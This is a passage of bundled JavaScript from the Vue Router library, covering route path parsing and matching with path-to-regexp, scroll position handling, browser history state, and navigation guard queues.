var extend = _Vue.util.extend;
var aData = a.data = extend({}, a.data);
aData.on = on;
var aAttrs = a.data.attrs = extend({}, a.data.attrs);
aAttrs.href = href;
} else {
// doesn't have <a> child, apply listener to self
data.on = on;
}
}
return h(this.tag, data, this.$slots.default);
}
};
function guardEvent(e) {
// don't redirect with control keys
if (e.metaKey || e.altKey || e.ctrlKey || e.shiftKey) {
return;
}
// don't redirect when preventDefault called
if (e.defaultPrevented) {
return;
}
// don't redirect on right click
if (e.button !== undefined && e.button !== 0) {
return;
}
// don't redirect if `target="_blank"`
if (e.currentTarget && e.currentTarget.getAttribute) {
var target = e.currentTarget.getAttribute('target');
if (/\b_blank\b/i.test(target)) {
return;
}
}
// this may be a Weex event which doesn't have this method
if (e.preventDefault) {
e.preventDefault();
}
return true;
}
function findAnchor(children) {
if (children) {
var child;
for (var i = 0; i < children.length; i++) {
child = children[i];
if (child.tag === 'a') {
return child;
}
if (child.children && (child = findAnchor(child.children))) {
return child;
}
}
}
}
var _Vue;
function install(Vue) {
if (install.installed) {
return;
}
install.installed = true;
_Vue = Vue;
var isDef = function isDef(v) {
return v !== undefined;
};
var registerInstance = function registerInstance(vm, callVal) {
var i = vm.$options._parentVnode;
if (isDef(i) && isDef(i = i.data) && isDef(i = i.registerRouteInstance)) {
i(vm, callVal);
}
};
Vue.mixin({
beforeCreate: function beforeCreate() {
if (isDef(this.$options.router)) {
this._routerRoot = this;
this._router = this.$options.router;
this._router.init(this);
Vue.util.defineReactive(this, '_route', this._router.history.current);
} else {
this._routerRoot = this.$parent && this.$parent._routerRoot || this;
}
registerInstance(this, this);
},
destroyed: function destroyed() {
registerInstance(this);
}
});
Object.defineProperty(Vue.prototype, '$router', {
get: function get() {
return this._routerRoot._router;
}
});
Object.defineProperty(Vue.prototype, '$route', {
get: function get() {
return this._routerRoot._route;
}
});
Vue.component('router-view', View);
Vue.component('router-link', Link);
var strats = Vue.config.optionMergeStrategies;
// use the same hook merging strategy for route hooks
strats.beforeRouteEnter = strats.beforeRouteLeave = strats.created;
}
/* */
var inBrowser = typeof window !== 'undefined';
/* */
function resolvePath(relative, base, append) {
var firstChar = relative.charAt(0);
if (firstChar === '/') {
return relative;
}
if (firstChar === '?' || firstChar === '#') {
return base + relative;
}
var stack = base.split('/');
// remove trailing segment if:
// - not appending
// - appending to trailing slash (last segment is empty)
if (!append || !stack[stack.length - 1]) {
stack.pop();
}
// resolve relative path
var segments = relative.replace(/^\//, '').split('/');
for (var i = 0; i < segments.length; i++) {
var segment = segments[i];
if (segment === '..') {
stack.pop();
} else if (segment !== '.') {
stack.push(segment);
}
}
// ensure leading slash
if (stack[0] !== '') {
stack.unshift('');
}
return stack.join('/');
}
function parsePath(path) {
var hash = '';
var query = '';
var hashIndex = path.indexOf('#');
if (hashIndex >= 0) {
hash = path.slice(hashIndex);
path = path.slice(0, hashIndex);
}
var queryIndex = path.indexOf('?');
if (queryIndex >= 0) {
query = path.slice(queryIndex + 1);
path = path.slice(0, queryIndex);
}
return {
path: path,
query: query,
hash: hash
};
}
function cleanPath(path) {
return path.replace(/\/\//g, '/');
}
var index$1 = Array.isArray || function (arr) {
return Object.prototype.toString.call(arr) == '[object Array]';
};
/**
* Expose `pathToRegexp`.
*/
var index = pathToRegexp;
var parse_1 = parse;
var compile_1 = compile;
var tokensToFunction_1 = tokensToFunction;
var tokensToRegExp_1 = tokensToRegExp;
/**
* The main path matching regexp utility.
*
* @type {RegExp}
*/
var PATH_REGEXP = new RegExp([
// Match escaped characters that would otherwise appear in future matches.
// This allows the user to escape special characters that won't transform.
'(\\\\.)',
// Match Express-style parameters and un-named parameters with a prefix
// and optional suffixes. Matches appear as:
//
// "/:test(\\d+)?" => ["/", "test", "\d+", undefined, "?", undefined]
// "/route(\\d+)" => [undefined, undefined, undefined, "\d+", undefined, undefined]
// "/*" => ["/", undefined, undefined, undefined, undefined, "*"]
'([\\/.])?(?:(?:\\:(\\w+)(?:\\(((?:\\\\.|[^\\\\()])+)\\))?|\\(((?:\\\\.|[^\\\\()])+)\\))([+*?])?|(\\*))'].join('|'), 'g');
/**
* Parse a string for the raw tokens.
*
* @param {string} str
* @param {Object=} options
* @return {!Array}
*/
function parse(str, options) {
var tokens = [];
var key = 0;
var index = 0;
var path = '';
var defaultDelimiter = options && options.delimiter || '/';
var res;
while ((res = PATH_REGEXP.exec(str)) != null) {
var m = res[0];
var escaped = res[1];
var offset = res.index;
path += str.slice(index, offset);
index = offset + m.length;
// Ignore already escaped sequences.
if (escaped) {
path += escaped[1];
continue;
}
var next = str[index];
var prefix = res[2];
var name = res[3];
var capture = res[4];
var group = res[5];
var modifier = res[6];
var asterisk = res[7];
// Push the current path onto the tokens.
if (path) {
tokens.push(path);
path = '';
}
var partial = prefix != null && next != null && next !== prefix;
var repeat = modifier === '+' || modifier === '*';
var optional = modifier === '?' || modifier === '*';
var delimiter = res[2] || defaultDelimiter;
var pattern = capture || group;
tokens.push({
name: name || key++,
prefix: prefix || '',
delimiter: delimiter,
optional: optional,
repeat: repeat,
partial: partial,
asterisk: !!asterisk,
pattern: pattern ? escapeGroup(pattern) : asterisk ? '.*' : '[^' + escapeString(delimiter) + ']+?'
});
}
// Match any characters still remaining.
if (index < str.length) {
path += str.substr(index);
}
// If the path exists, push it onto the end.
if (path) {
tokens.push(path);
}
return tokens;
}
/**
* Compile a string to a template function for the path.
*
* @param {string} str
* @param {Object=} options
* @return {!function(Object=, Object=)}
*/
function compile(str, options) {
return tokensToFunction(parse(str, options));
}
/**
* Prettier encoding of URI path segments.
*
* @param {string}
* @return {string}
*/
function encodeURIComponentPretty(str) {
return encodeURI(str).replace(/[\/?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase();
});
}
/**
* Encode the asterisk parameter. Similar to `pretty`, but allows slashes.
*
* @param {string}
* @return {string}
*/
function encodeAsterisk(str) {
return encodeURI(str).replace(/[?#]/g, function (c) {
return '%' + c.charCodeAt(0).toString(16).toUpperCase();
});
}
/**
* Expose a method for transforming tokens into the path function.
*/
function tokensToFunction(tokens) {
// Compile all the tokens into regexps.
var matches = new Array(tokens.length);
// Compile all the patterns before compilation.
for (var i = 0; i < tokens.length; i++) {
if (_typeof(tokens[i]) === 'object') {
matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$');
}
}
return function (obj, opts) {
var path = '';
var data = obj || {};
var options = opts || {};
var encode = options.pretty ? encodeURIComponentPretty : encodeURIComponent;
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (typeof token === 'string') {
path += token;
continue;
}
var value = data[token.name];
var segment;
if (value == null) {
if (token.optional) {
// Prepend partial segment prefixes.
if (token.partial) {
path += token.prefix;
}
continue;
} else {
throw new TypeError('Expected "' + token.name + '" to be defined');
}
}
if (index$1(value)) {
if (!token.repeat) {
throw new TypeError('Expected "' + token.name + '" to not repeat, but received `' + JSON.stringify(value) + '`');
}
if (value.length === 0) {
if (token.optional) {
continue;
} else {
throw new TypeError('Expected "' + token.name + '" to not be empty');
}
}
for (var j = 0; j < value.length; j++) {
segment = encode(value[j]);
if (!matches[i].test(segment)) {
throw new TypeError('Expected all "' + token.name + '" to match "' + token.pattern + '", but received `' + JSON.stringify(segment) + '`');
}
path += (j === 0 ? token.prefix : token.delimiter) + segment;
}
continue;
}
segment = token.asterisk ? encodeAsterisk(value) : encode(value);
if (!matches[i].test(segment)) {
throw new TypeError('Expected "' + token.name + '" to match "' + token.pattern + '", but received "' + segment + '"');
}
path += token.prefix + segment;
}
return path;
};
}
/**
* Escape a regular expression string.
*
* @param {string} str
* @return {string}
*/
function escapeString(str) {
return str.replace(/([.+*?=^!:${}()[\]|\/\\])/g, '\\$1');
}
/**
* Escape the capturing group by escaping special characters and meaning.
*
* @param {string} group
* @return {string}
*/
function escapeGroup(group) {
return group.replace(/([=!:$\/()])/g, '\\$1');
}
/**
* Attach the keys as a property of the regexp.
*
* @param {!RegExp} re
* @param {Array} keys
* @return {!RegExp}
*/
function attachKeys(re, keys) {
re.keys = keys;
return re;
}
/**
* Get the flags for a regexp from the options.
*
* @param {Object} options
* @return {string}
*/
function flags(options) {
return options.sensitive ? '' : 'i';
}
/**
* Pull out keys from a regexp.
*
* @param {!RegExp} path
* @param {!Array} keys
* @return {!RegExp}
*/
function regexpToRegexp(path, keys) {
// Use a negative lookahead to match only capturing groups.
var groups = path.source.match(/\((?!\?)/g);
if (groups) {
for (var i = 0; i < groups.length; i++) {
keys.push({
name: i,
prefix: null,
delimiter: null,
optional: false,
repeat: false,
partial: false,
asterisk: false,
pattern: null
});
}
}
return attachKeys(path, keys);
}
/**
* Transform an array into a regexp.
*
* @param {!Array} path
* @param {Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function arrayToRegexp(path, keys, options) {
var parts = [];
for (var i = 0; i < path.length; i++) {
parts.push(pathToRegexp(path[i], keys, options).source);
}
var regexp = new RegExp('(?:' + parts.join('|') + ')', flags(options));
return attachKeys(regexp, keys);
}
/**
* Create a path regexp from string input.
*
* @param {string} path
* @param {!Array} keys
* @param {!Object} options
* @return {!RegExp}
*/
function stringToRegexp(path, keys, options) {
return tokensToRegExp(parse(path, options), keys, options);
}
/**
* Expose a function for taking tokens and returning a RegExp.
*
* @param {!Array} tokens
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function tokensToRegExp(tokens, keys, options) {
if (!index$1(keys)) {
options = /** @type {!Object} */keys || options;
keys = [];
}
options = options || {};
var strict = options.strict;
var end = options.end !== false;
var route = '';
// Iterate over the tokens and create our regexp string.
for (var i = 0; i < tokens.length; i++) {
var token = tokens[i];
if (typeof token === 'string') {
route += escapeString(token);
} else {
var prefix = escapeString(token.prefix);
var capture = '(?:' + token.pattern + ')';
keys.push(token);
if (token.repeat) {
capture += '(?:' + prefix + capture + ')*';
}
if (token.optional) {
if (!token.partial) {
capture = '(?:' + prefix + '(' + capture + '))?';
} else {
capture = prefix + '(' + capture + ')?';
}
} else {
capture = prefix + '(' + capture + ')';
}
route += capture;
}
}
var delimiter = escapeString(options.delimiter || '/');
var endsWithDelimiter = route.slice(-delimiter.length) === delimiter;
// In non-strict mode we allow a slash at the end of match. If the path to
// match already ends with a slash, we remove it for consistency. The slash
// is valid at the end of a path match, not in the middle. This is important
// in non-ending mode, where "/test/" shouldn't match "/test//route".
if (!strict) {
route = (endsWithDelimiter ? route.slice(0, -delimiter.length) : route) + '(?:' + delimiter + '(?=$))?';
}
if (end) {
route += '$';
} else {
// In non-ending mode, we need the capturing groups to match as much as
// possible by using a positive lookahead to the end or next path segment.
route += strict && endsWithDelimiter ? '' : '(?=' + delimiter + '|$)';
}
return attachKeys(new RegExp('^' + route, flags(options)), keys);
}
/**
* Normalize the given path string, returning a regular expression.
*
* An empty array can be passed in for the keys, which will hold the
* placeholder key descriptions. For example, using `/user/:id`, `keys` will
* contain `[{ name: 'id', delimiter: '/', optional: false, repeat: false }]`.
*
* @param {(string|RegExp|Array)} path
* @param {(Array|Object)=} keys
* @param {Object=} options
* @return {!RegExp}
*/
function pathToRegexp(path, keys, options) {
if (!index$1(keys)) {
options = /** @type {!Object} */keys || options;
keys = [];
}
options = options || {};
if (path instanceof RegExp) {
return regexpToRegexp(path, /** @type {!Array} */keys);
}
if (index$1(path)) {
return arrayToRegexp( /** @type {!Array} */path, /** @type {!Array} */keys, options);
}
return stringToRegexp( /** @type {string} */path, /** @type {!Array} */keys, options);
}
index.parse = parse_1;
index.compile = compile_1;
index.tokensToFunction = tokensToFunction_1;
index.tokensToRegExp = tokensToRegExp_1;
/* */
var regexpCompileCache = Object.create(null);
function fillParams(path, params, routeMsg) {
try {
var filler = regexpCompileCache[path] || (regexpCompileCache[path] = index.compile(path));
return filler(params || {}, { pretty: true });
} catch (e) {
if (true) {
warn(false, "missing param for " + routeMsg + ": " + e.message);
}
return '';
}
}
/* */
function createRouteMap(routes, oldPathList, oldPathMap, oldNameMap) {
// the path list is used to control path matching priority
var pathList = oldPathList || [];
var pathMap = oldPathMap || Object.create(null);
var nameMap = oldNameMap || Object.create(null);
routes.forEach(function (route) {
addRouteRecord(pathList, pathMap, nameMap, route);
});
// ensure wildcard routes are always at the end
for (var i = 0, l = pathList.length; i < l; i++) {
if (pathList[i] === '*') {
pathList.push(pathList.splice(i, 1)[0]);
l--;
i--;
}
}
return {
pathList: pathList,
pathMap: pathMap,
nameMap: nameMap
};
}
function addRouteRecord(pathList, pathMap, nameMap, route, parent, matchAs) {
var path = route.path;
var name = route.name;
if (true) {
assert(path != null, "\"path\" is required in a route configuration.");
assert(typeof route.component !== 'string', "route config \"component\" for path: " + String(path || name) + " cannot be a " + "string id. Use an actual component instead.");
}
var normalizedPath = normalizePath(path, parent);
var pathToRegexpOptions = route.pathToRegexpOptions || {};
if (typeof route.caseSensitive === 'boolean') {
pathToRegexpOptions.sensitive = route.caseSensitive;
}
var record = {
path: normalizedPath,
regex: compileRouteRegex(normalizedPath, pathToRegexpOptions),
components: route.components || { default: route.component },
instances: {},
name: name,
parent: parent,
matchAs: matchAs,
redirect: route.redirect,
beforeEnter: route.beforeEnter,
meta: route.meta || {},
props: route.props == null ? {} : route.components ? route.props : { default: route.props }
};
if (route.children) {
// Warn if route is named, does not redirect and has a default child route.
// If users navigate to this route by name, the default child will
// not be rendered (GH Issue #629)
if (true) {
if (route.name && !route.redirect && route.children.some(function (child) {
return (/^\/?$/.test(child.path)
);
})) {
warn(false, "Named Route '" + route.name + "' has a default child route. " + "When navigating to this named route (:to=\"{name: '" + route.name + "'\"), " + "the default child route will not be rendered. Remove the name from " + "this route and use the name of the default child route for named " + "links instead.");
}
}
route.children.forEach(function (child) {
var childMatchAs = matchAs ? cleanPath(matchAs + "/" + child.path) : undefined;
addRouteRecord(pathList, pathMap, nameMap, child, record, childMatchAs);
});
}
if (route.alias !== undefined) {
var aliases = Array.isArray(route.alias) ? route.alias : [route.alias];
aliases.forEach(function (alias) {
var aliasRoute = {
path: alias,
children: route.children
};
addRouteRecord(pathList, pathMap, nameMap, aliasRoute, parent, record.path || '/' // matchAs
);
});
}
if (!pathMap[record.path]) {
pathList.push(record.path);
pathMap[record.path] = record;
}
if (name) {
if (!nameMap[name]) {
nameMap[name] = record;
} else if ("development" !== 'production' && !matchAs) {
warn(false, "Duplicate named routes definition: " + "{ name: \"" + name + "\", path: \"" + record.path + "\" }");
}
}
}
function compileRouteRegex(path, pathToRegexpOptions) {
var regex = index(path, [], pathToRegexpOptions);
if (true) {
var keys = {};
regex.keys.forEach(function (key) {
warn(!keys[key.name], "Duplicate param keys in route with path: \"" + path + "\"");
keys[key.name] = true;
});
}
return regex;
}
function normalizePath(path, parent) {
path = path.replace(/\/$/, '');
if (path[0] === '/') {
return path;
}
if (parent == null) {
return path;
}
return cleanPath(parent.path + "/" + path);
}
/* */
function normalizeLocation(raw, current, append, router) {
var next = typeof raw === 'string' ? { path: raw } : raw;
// named target
if (next.name || next._normalized) {
return next;
}
// relative params
if (!next.path && next.params && current) {
next = assign({}, next);
next._normalized = true;
var params = assign(assign({}, current.params), next.params);
if (current.name) {
next.name = current.name;
next.params = params;
} else if (current.matched.length) {
var rawPath = current.matched[current.matched.length - 1].path;
next.path = fillParams(rawPath, params, "path " + current.path);
} else if (true) {
warn(false, "relative params navigation requires a current route.");
}
return next;
}
var parsedPath = parsePath(next.path || '');
var basePath = current && current.path || '/';
var path = parsedPath.path ? resolvePath(parsedPath.path, basePath, append || next.append) : basePath;
var query = resolveQuery(parsedPath.query, next.query, router && router.options.parseQuery);
var hash = next.hash || parsedPath.hash;
if (hash && hash.charAt(0) !== '#') {
hash = "#" + hash;
}
return {
_normalized: true,
path: path,
query: query,
hash: hash
};
}
function assign(a, b) {
for (var key in b) {
a[key] = b[key];
}
return a;
}
/* */
function createMatcher(routes, router) {
var ref = createRouteMap(routes);
var pathList = ref.pathList;
var pathMap = ref.pathMap;
var nameMap = ref.nameMap;
function addRoutes(routes) {
createRouteMap(routes, pathList, pathMap, nameMap);
}
function match(raw, currentRoute, redirectedFrom) {
var location = normalizeLocation(raw, currentRoute, false, router);
var name = location.name;
if (name) {
var record = nameMap[name];
if (true) {
warn(record, "Route with name '" + name + "' does not exist");
}
if (!record) {
return _createRoute(null, location);
}
var paramNames = record.regex.keys.filter(function (key) {
return !key.optional;
}).map(function (key) {
return key.name;
});
if (_typeof(location.params) !== 'object') {
location.params = {};
}
if (currentRoute && _typeof(currentRoute.params) === 'object') {
for (var key in currentRoute.params) {
if (!(key in location.params) && paramNames.indexOf(key) > -1) {
location.params[key] = currentRoute.params[key];
}
}
}
if (record) {
location.path = fillParams(record.path, location.params, "named route \"" + name + "\"");
return _createRoute(record, location, redirectedFrom);
}
} else if (location.path) {
location.params = {};
for (var i = 0; i < pathList.length; i++) {
var path = pathList[i];
var record$1 = pathMap[path];
if (matchRoute(record$1.regex, location.path, location.params)) {
return _createRoute(record$1, location, redirectedFrom);
}
}
}
// no match
return _createRoute(null, location);
}
function redirect(record, location) {
var originalRedirect = record.redirect;
var redirect = typeof originalRedirect === 'function' ? originalRedirect(createRoute(record, location, null, router)) : originalRedirect;
if (typeof redirect === 'string') {
redirect = { path: redirect };
}
if (!redirect || (typeof redirect === 'undefined' ? 'undefined' : _typeof(redirect)) !== 'object') {
if (true) {
warn(false, "invalid redirect option: " + JSON.stringify(redirect));
}
return _createRoute(null, location);
}
var re = redirect;
var name = re.name;
var path = re.path;
var query = location.query;
var hash = location.hash;
var params = location.params;
query = re.hasOwnProperty('query') ? re.query : query;
hash = re.hasOwnProperty('hash') ? re.hash : hash;
params = re.hasOwnProperty('params') ? re.params : params;
if (name) {
// resolved named direct
var targetRecord = nameMap[name];
if (true) {
assert(targetRecord, "redirect failed: named route \"" + name + "\" not found.");
}
return match({
_normalized: true,
name: name,
query: query,
hash: hash,
params: params
}, undefined, location);
} else if (path) {
// 1. resolve relative redirect
var rawPath = resolveRecordPath(path, record);
// 2. resolve params
var resolvedPath = fillParams(rawPath, params, "redirect route with path \"" + rawPath + "\"");
// 3. rematch with existing query and hash
return match({
_normalized: true,
path: resolvedPath,
query: query,
hash: hash
}, undefined, location);
} else {
if (true) {
warn(false, "invalid redirect option: " + JSON.stringify(redirect));
}
return _createRoute(null, location);
}
}
function alias(record, location, matchAs) {
var aliasedPath = fillParams(matchAs, location.params, "aliased route with path \"" + matchAs + "\"");
var aliasedMatch = match({
_normalized: true,
path: aliasedPath
});
if (aliasedMatch) {
var matched = aliasedMatch.matched;
var aliasedRecord = matched[matched.length - 1];
location.params = aliasedMatch.params;
return _createRoute(aliasedRecord, location);
}
return _createRoute(null, location);
}
function _createRoute(record, location, redirectedFrom) {
if (record && record.redirect) {
return redirect(record, redirectedFrom || location);
}
if (record && record.matchAs) {
return alias(record, location, record.matchAs);
}
return createRoute(record, location, redirectedFrom, router);
}
return {
match: match,
addRoutes: addRoutes
};
}
function matchRoute(regex, path, params) {
var m = path.match(regex);
if (!m) {
return false;
} else if (!params) {
return true;
}
for (var i = 1, len = m.length; i < len; ++i) {
var key = regex.keys[i - 1];
var val = typeof m[i] === 'string' ? decodeURIComponent(m[i]) : m[i];
if (key) {
params[key.name] = val;
}
}
return true;
}
function resolveRecordPath(path, record) {
return resolvePath(path, record.parent ? record.parent.path : '/', true);
}
/* */
var positionStore = Object.create(null);
function setupScroll() {
window.addEventListener('popstate', function (e) {
saveScrollPosition();
if (e.state && e.state.key) {
setStateKey(e.state.key);
}
});
}
function handleScroll(router, to, from, isPop) {
if (!router.app) {
return;
}
var behavior = router.options.scrollBehavior;
if (!behavior) {
return;
}
if (true) {
assert(typeof behavior === 'function', "scrollBehavior must be a function");
}
// wait until re-render finishes before scrolling
router.app.$nextTick(function () {
var position = getScrollPosition();
var shouldScroll = behavior(to, from, isPop ? position : null);
if (!shouldScroll) {
return;
}
var isObject = (typeof shouldScroll === 'undefined' ? 'undefined' : _typeof(shouldScroll)) === 'object';
if (isObject && typeof shouldScroll.selector === 'string') {
var el = document.querySelector(shouldScroll.selector);
if (el) {
var offset = shouldScroll.offset && _typeof(shouldScroll.offset) === 'object' ? shouldScroll.offset : {};
offset = normalizeOffset(offset);
position = getElementPosition(el, offset);
} else if (isValidPosition(shouldScroll)) {
position = normalizePosition(shouldScroll);
}
} else if (isObject && isValidPosition(shouldScroll)) {
position = normalizePosition(shouldScroll);
}
if (position) {
window.scrollTo(position.x, position.y);
}
});
}
function saveScrollPosition() {
var key = getStateKey();
if (key) {
positionStore[key] = {
x: window.pageXOffset,
y: window.pageYOffset
};
}
}
function getScrollPosition() {
var key = getStateKey();
if (key) {
return positionStore[key];
}
}
function getElementPosition(el, offset) {
var docEl = document.documentElement;
var docRect = docEl.getBoundingClientRect();
var elRect = el.getBoundingClientRect();
return {
x: elRect.left - docRect.left - offset.x,
y: elRect.top - docRect.top - offset.y
};
}
function isValidPosition(obj) {
return isNumber(obj.x) || isNumber(obj.y);
}
function normalizePosition(obj) {
return {
x: isNumber(obj.x) ? obj.x : window.pageXOffset,
y: isNumber(obj.y) ? obj.y : window.pageYOffset
};
}
function normalizeOffset(obj) {
return {
x: isNumber(obj.x) ? obj.x : 0,
y: isNumber(obj.y) ? obj.y : 0
};
}
function isNumber(v) {
return typeof v === 'number';
}
/* */
var supportsPushState = inBrowser && function () {
var ua = window.navigator.userAgent;
if ((ua.indexOf('Android 2.') !== -1 || ua.indexOf('Android 4.0') !== -1) && ua.indexOf('Mobile Safari') !== -1 && ua.indexOf('Chrome') === -1 && ua.indexOf('Windows Phone') === -1) {
return false;
}
return window.history && 'pushState' in window.history;
}();
// use User Timing api (if present) for more accurate key precision
var Time = inBrowser && window.performance && window.performance.now ? window.performance : Date;
var _key = genKey();
function genKey() {
return Time.now().toFixed(3);
}
function getStateKey() {
return _key;
}
function setStateKey(key) {
_key = key;
}
function pushState(url, replace) {
saveScrollPosition();
// try...catch the pushState call to get around Safari
// DOM Exception 18 where it limits to 100 pushState calls
var history = window.history;
try {
if (replace) {
history.replaceState({ key: _key }, '', url);
} else {
_key = genKey();
history.pushState({ key: _key }, '', url);
}
} catch (e) {
window.location[replace ? 'replace' : 'assign'](url);
}
}
function replaceState(url) {
pushState(url, true);
}
/* */
function runQueue(queue, fn, cb) {
var step = function step(index) {
if (index >= queue.length) {
cb();
} else {
if (queue[index]) {
fn(queue[index], function () {
step(index + 1);
});
} else {
step(index + 1);
}
}
};
step(0);
}
/* */
var History = function History(router, base) {
this.router = router;
this.base = normalizeBase(base);
// start with a route object that stands for "nowhere"
this.current = START;
this.pending = null;
this.ready = false;
this.readyCbs = [];
this.readyErrorCbs = [];
this.errorCbs = [];
};
History.prototype.listen = function listen(cb) {
this.cb = cb;
};
History.prototype.onReady = function onReady(cb, errorCb) {
if (this.ready) {
cb();
} else {
this.readyCbs.push(cb);
if (errorCb) {
this.readyErrorCbs.push(errorCb);
}
}
};
History.prototype.onError = function onError(errorCb) {
this.errorCbs.push(errorCb);
};
History.prototype.transitionTo = function transitionTo(location, onComplete, onAbort) {
var this$1 = this;
var route = this.router.match(location, this.current);
this.confirmTransition(route, function () {
this$1.updateRoute(route);
onComplete && onComplete(route);
this$1.ensureURL();
// fire ready cbs once
if (!this$1.ready) {
this$1.ready = true;
this$1.readyCbs.forEach(function (cb) {
cb(route);
});
}
}, function (err) {
if (onAbort) {
onAbort(err);
}
if (err && !this$1.ready) {
this$1.ready = true;
this$1.readyErrorCbs.forEach(function (cb) {
cb(err);
});
}
});
};
History.prototype.confirmTransition = function confirmTransition(route, onComplete, onAbort) {
var this$1 = this;
var current = this.current;
var abort = function abort(err) {
if (isError(err)) {
if (this$1.errorCbs.length) {
this$1.errorCbs.forEach(function (cb) {
cb(err);
});
} else {
warn(false, 'uncaught error during route navigation:');
console.error(err);
}
}
onAbort && onAbort(err);
};
if (isSameRoute(route, current) &&
// in the case the route map has been dynamically appended to
route.matched.length === current.matched.length) {
this.ensureURL();
return abort();
}
var ref = resolveQueue(this.current.matched, route.matched);
var updated = ref.updated;
var deactivated = ref.deactivated;
var activated = ref.activated;
var queue = [].concat(
// in-component leave guards
extractLeaveGuards(deactivated),
// global before hooks
this.router.beforeHooks,
// in-component update hooks
extractUpdateHooks(updated),
// in-config enter guards
activated.map(function (m) {
return m.beforeEnter;
}),
// async components
resolveAsyncComponents(activated));
this.pending = route;
var iterator = function iterator(hook, next) {
if (this$1.pending !== route) {
return abort();
}
try {
hook(route, current, function (to) {
if (to === false || isError(to)) {
// next(false) -> abort navigation, ensure current URL
this$1.ensureURL(true);
abort(to);
} else if (typeof to === 'string' || (typeof to === 'undefined' ? 'undefined' : _typeof(to)) === 'object' && (typeof to.path === 'string' || typeof to.name === 'string')) {
// next('/') or next({ path: '/' }) -> redirect
abort();
if ((typeof to === 'undefined' ? 'undefined' : _typeof(to)) === 'object' && to.replace) {
this$1.replace(to);
} else {
this$1.push(to);
}
} else {
// confirm transition and pass on the value
next(to);
}
});
} catch (e) {
abort(e);
}
};
runQueue(queue, iterator, function () {
var postEnterCbs = [];
var isValid = function isValid() {
return this$1.current === route;
};
// wait until async components are resolved before
// extracting in-component enter guards
var enterGuards = extractEnterGuards(activated, postEnterCbs, isValid);
var queue = enterGuards.concat(this$1.router.resolveHooks);
runQueue(queue, iterator, function () {
if (this$1.pending !== route) {
return abort();
}
this$1.pending = null;
onComplete(route);
if (this$1.router.app) {
this$1.router.app.$nextTick(function () {
postEnterCbs.forEach(function (cb) {
cb();
});
});
}
});
});
};
History.prototype.updateRoute = function updateRoute(route) {
var prev = this.current;
this.current = route;
this.cb && this.cb(route);
this.router.afterHooks.forEach(function (hook) {
hook && hook(route, prev);
});
};
function normalizeBase(base) {
if (!base) {
if (inBrowser) {
// respect <base> tag
var baseEl = document.querySelector('base');
base = baseEl && baseEl.getAttribute('href') || '/';
// strip full URL origin
base = base.replace(/^https?:\/\/[^\/]+/, '');
} else {
base = '/';
}
}
// make sure there's the starting slash
if (base.charAt(0) !== '/') {
base = '/' + base;
}
// remove trailing slash
return base.replace(/\/$/, '');
}
function resolveQueue(current, next) {
var i;
var max = Math.max(current.length, next.length);
for (i = 0; i < max; i++) {
if (current[i] !== next[i]) {
break;
}
}
return {
updated: next.slice(0, i),
activated: next.slice(i),
deactivated: current.slice(i)
};
}
function extractGuards(records, name, bind, reverse) {
var guards = flatMapComponents(records, function (def, instance, match, key) {
var guard = extractGuard(def, name);
if (guard) {
return Array.isArray(guard) ? guard.map(function (guard) {
return bind(guard, instance, match, key);
}) : bind(guard, instance, match, key);
}
});
return flatten(reverse ? guards.reverse() : guards);
}
function extractGuard(def, key) {
if (typeof def !== 'function') {
// extend now so that global mixins are applied.
def = _Vue.extend(def);
}
return def.options[key];
}
function extractLeaveGuards(deactivated) {
return extractGuards(deactivated, 'beforeRouteLeave', bindGuard, true);
}
function extractUpdateHooks(updated) {
return extractGuards(updated, 'beforeRouteUpdate', bindGuard);
}
function bindGuard(guard, instance) {
if (instance) {
return function boundRouteGuard() {
return guard.apply(instance, arguments);
};
}
}
function extractEnterGuards(activated, cbs, isValid) {
return extractGuards(activated, 'beforeRouteEnter', function (guard, _, match, key) {
return bindEnterGuard(guard, match, key, cbs, isValid);
});
}
function bindEnterGuard(guard, match, key, cbs, isValid) {
return function routeEnterGuard(to, from, next) {
return guard(to, from, function (cb) {
next(cb);
if (typeof cb === 'function') {
cbs.push(function () {
// #750
// if a router-view is wrapped with an out-in transition,
// the instance may not have been registered at this time.
// we will need to poll for registration until current route
// is no longer valid.
poll(cb, match.instances, key, isValid);
});
}
});
};
}
function poll(cb, // somehow flow cannot infer this is a function
instances, key, isValid) {
if (instances[key]) {
cb(instances[key]);
} else if (isValid()) {
setTimeout(function () {
poll(cb, instances, key, isValid);
}, 16);
}
}
function resolveAsyncComponents(matched) {
return function (to, from, next) {
var hasAsync = false;
var pending = 0;
var error = null;
flatMapComponents(matched, function (def, _, match, key) {
// if it's a function and doesn't have cid attached,
// assume it's an async component resolve function.
// we are not using Vue's default async resolving mechanism because
// we want to halt the navigation until the incoming component has been
// resolved.
if (typeof def === 'function' && def.cid === undefined) {
hasAsync = true;
pending++;
var resolve = once(function (resolvedDef) {
// save resolved on async factory in case it's used elsewhere
def.resolved = typeof resolvedDef === 'function' ? resolvedDef : _Vue.extend(resolvedDef);
match.components[key] = resolvedDef;
pending--;
if (pending <= 0) {
next();
}
});
var reject = once(function (reason) {
var msg = "Failed to resolve async component " + key + ": " + reason;
"development" !== 'production' && warn(false, msg);
if (!error) {
error = isError(reason) ? reason : new Error(msg);
next(error);
}
});
var res;
try {
res = def(resolve, reject);
} catch (e) {
reject(e);
}
if (res) {
if (typeof res.then === 'function') {
res.then(resolve, reject);
} else {
// new syntax in Vue 2.3
var comp = res.component;
if (comp && typeof comp.then === 'function') {
comp.then(resolve, reject);
}
}
}
}
});
if (!hasAsync) {
next();
}
};
}
function flatMapComponents(matched, fn) {
return flatten(matched.map(function (m) {
return Object.keys(m.components).map(function (key) {
return fn(m.components[key], m.instances[key], m, key);
});
}));
}
function flatten(arr) {
return Array.prototype.concat.apply([], arr);
}
// in Webpack 2, require.ensure now also returns a Promise
// so the resolve/reject functions may get called an extra time
// if the user uses an arrow function shorthand that happens to
// return that Promise.
function once(fn) {
var called = false;
return function () {
var args = [],
len = arguments.length;
while (len--) {
args[len] = arguments[len];
}if (called) {
return;
}
called = true;
return fn.apply(this, args);
};
}
function isError(err) {
return Object.prototype.toString.call(err).indexOf('Error') > -1;
}
/* */
var HTML5History = function (History$$1) {
function HTML5History(router, base) {
var this$1 = this;
History$$1.call(this, router, base);
var expectScroll = router.options.scrollBehavior;
if (expectScroll) {
setupScroll();
}
window.addEventListener('popstate', function (e) {
var current = this$1.current;
